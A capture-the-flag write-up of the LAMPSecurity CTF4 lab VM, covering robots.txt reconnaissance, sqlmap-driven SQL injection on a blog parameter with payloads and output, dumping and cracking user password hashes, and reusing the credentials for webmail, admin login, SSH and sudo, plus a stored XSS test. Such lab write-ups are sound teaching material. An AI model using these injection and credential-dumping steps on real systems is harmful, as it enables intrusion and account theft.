nobe4
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LAMP CTF4

20 Sep 2017   ~5 minutes

Source: https://www.vulnhub.com/entry/lampsecurity-ctf4,83/

This LAMP challenge is most likely to be focused around casual Linux-Apache-MySQL-PHP vulnerabilities. Let’s check the robots.txt file first:

User-agent: *
Disallow: /mail/
Disallow: /restricted/
Disallow: /conf/
Disallow: /sql/
Disallow: /admin/

/mail/

Looks like a webmail service, we can’t login for now, moving on.

/restricted/

There’s another service here, protected by a .htaccess file login, but we don’t have any access, moving on.

/conf/

This page crashes with a 500 error that gives two interesting pieces of information:

/sql/

Following the link to the db.sql file, it looks like the database init script, to create tables inside the database ehks.

use ehks;
create table user (user_id int not null auto_increment primary key, user_name varchar(20) not null, user_pass varchar(32) not null);
create table blog (blog_id int primary key not null auto_increment, blog_title varchar(255), blog_body text, blog_date datetime not null);
create table comment (comment_id int not null auto_increment primary key, comment_title varchar (50), comment_body text, comment_author varchar(50), comment_url varchar(50), comment_date datetime not null);

/admin/

This is a login page to what seems to be the admin section of the website, we don’t have any access, moving on.

Blog

We can find quite easily that the id parameter on the blog page is subject to SQL injections:

http://hostname/index.html?page=blog&title=Blog&id=2 or 1=1

Let’s spin up sqlmap to verify that:

$ sqlmap --url=http://hostname/index.html\?page\=blog\&title\=Blog\&id\=2
...
[14:29:44] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
...
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: page=blog&title=Blog&id=2 AND 4573=4573

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: page=blog&title=Blog&id=2 AND SLEEP(5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: page=blog&title=Blog&id=2 UNION ALL SELECT NULL,CONCAT(0x7176766a71,0x5977754a5070696d674d496c6b5054584d4655575261757651686750576e58664e7475695866544f,0x716b706271),NULL,NULL,NULL-- aReR
---
[14:29:49] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Fedora 5 (Bordeaux)
web application technology: Apache 2.2.0, PHP 5.1.2
back-end DBMS: MySQL >= 5.0.12

This confirms the vulnerability of the id parameter and also that we have the LAMP setup as expected.

Let’s explore the database now, starting with the tables and columns in the database ehks (the one we found earlier):

$ sqlmap --url=http://hostname/index.html\?page\=blog\&title\=Blog\&id\=2 --dbms=MySQL -p id --columns -D ehks
...
Database: ehks
Table: blog
[5 columns]
+------------+--------------+
| Column     | Type         |
+------------+--------------+
| blog_body  | text         |
| blog_date  | datetime     |
| blog_id    | int(11)      |
| blog_title | varchar(255) |
| user_id    | int(11)      |
+------------+--------------+

Database: ehks
Table: comment
[6 columns]
+----------------+-------------+
| Column         | Type        |
+----------------+-------------+
| comment_author | varchar(50) |
| comment_body   | text        |
| comment_date   | datetime    |
| comment_id     | int(11)     |
| comment_title  | varchar(50) |
| comment_url    | varchar(50) |
+----------------+-------------+

Database: ehks
Table: user
[3 columns]
+-----------+-------------+
| Column    | Type        |
+-----------+-------------+
| user_id   | int(11)     |
| user_name | varchar(20) |
| user_pass | varchar(32) |
+-----------+-------------+

Sweet! now let’s dump the user info and try to crack the passwords:

$ sqlmap --url=http://hostname/index.html\?page\=blog\&title\=Blog\&id\=2 --dbms=MySQL -p id -D ehks -T user --dump
...
[14:48:02] [INFO] recognized possible password hashes in column 'user_pass'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
do you want to crack them via a dictionary-based attack? [Y/n/q] y
what dictionary do you want to use?
[1] default dictionary file '/sqlmap/txt/wordlist.zip' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
>
do you want to use common password suffixes? (slow!) [y/N] n
...
Database: ehks
Table: user
[6 entries]
+---------+-----------+--------------------------------------------------+
| user_id | user_name | user_pass                                        |
+---------+-----------+--------------------------------------------------+
| 1       | dstevens  | 02e823a15a392b5aa4ff4ccb9060fa68 (ilike2surf)    |
| 2       | achen     | b46265f1e7faa3beab09db5c28739380 (seventysixers) |
| 3       | pmoore    | 8f4743c04ed8e5f39166a81f26319bb5 (Homesite)      |
| 4       | jdurbin   | 7c7bc9f465d86b8164686ebb5151a717 (Sue1978)       |
| 5       | sorzek    | e0a23947029316880c29e8533d8662a3 (convertible)   |
| 6       | ghighland | 9f3eb3087298ff21843cc4e013cf355f (undone1)       |
+---------+-----------+--------------------------------------------------+

Remember the 500 error previously? It mentioned the user dstevens, and we now have his password, great!

We can go back to the previous services we found:

/mail/ round 2

Using the dstevens/ilike2surf combination works. We can see a lot of security-related emails, mentioning the sqlmap execution we just did (not very stealthy!):

OSSEC HIDS Notification.
2017 Sep 19 14:29:26

Received From: ctf->/var/log/httpd/access_log
Rule: 31106 fired (level 12) -> "A web attack returned code 200 (success)."
Portion of the log(s):

XX.XX.XX.XX - - [19/Sep/2017:14:29:26 -0400] "GET
/index.html?page=blog&title=Blog%25%27%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23&id=2
HTTP/1.1" 200 2982 "-" "sqlmap/1.0.9.32#dev (http://sqlmap.org)"

--END OF NOTIFICATION

/admin/ round 2

The same login works here, it’s the backend to the blog part of the website. We can create new blog posts with a title and a body. Nothing more to say apart from the fact that the fields won’t protect against possible XSS. Posting

<script> alert(1) </script>

will lead to the script being executed.

SSH

dstevens is most likely the admin of the machine, let’s try to connect to the box, using SSH, with the same login found on the db:

$ ssh [email protected]
[email protected]'s password:
Last login: Mon Mar  9 07:48:18 2009 from 192.168.0.50
[[email protected] ~]$ cat /passwd
cat: /passwd: Permission denied
[[email protected] ~]$ sudo cat /passwd
Password:
21fd958ecb671ca15bd7547077910147

Neat, it worked!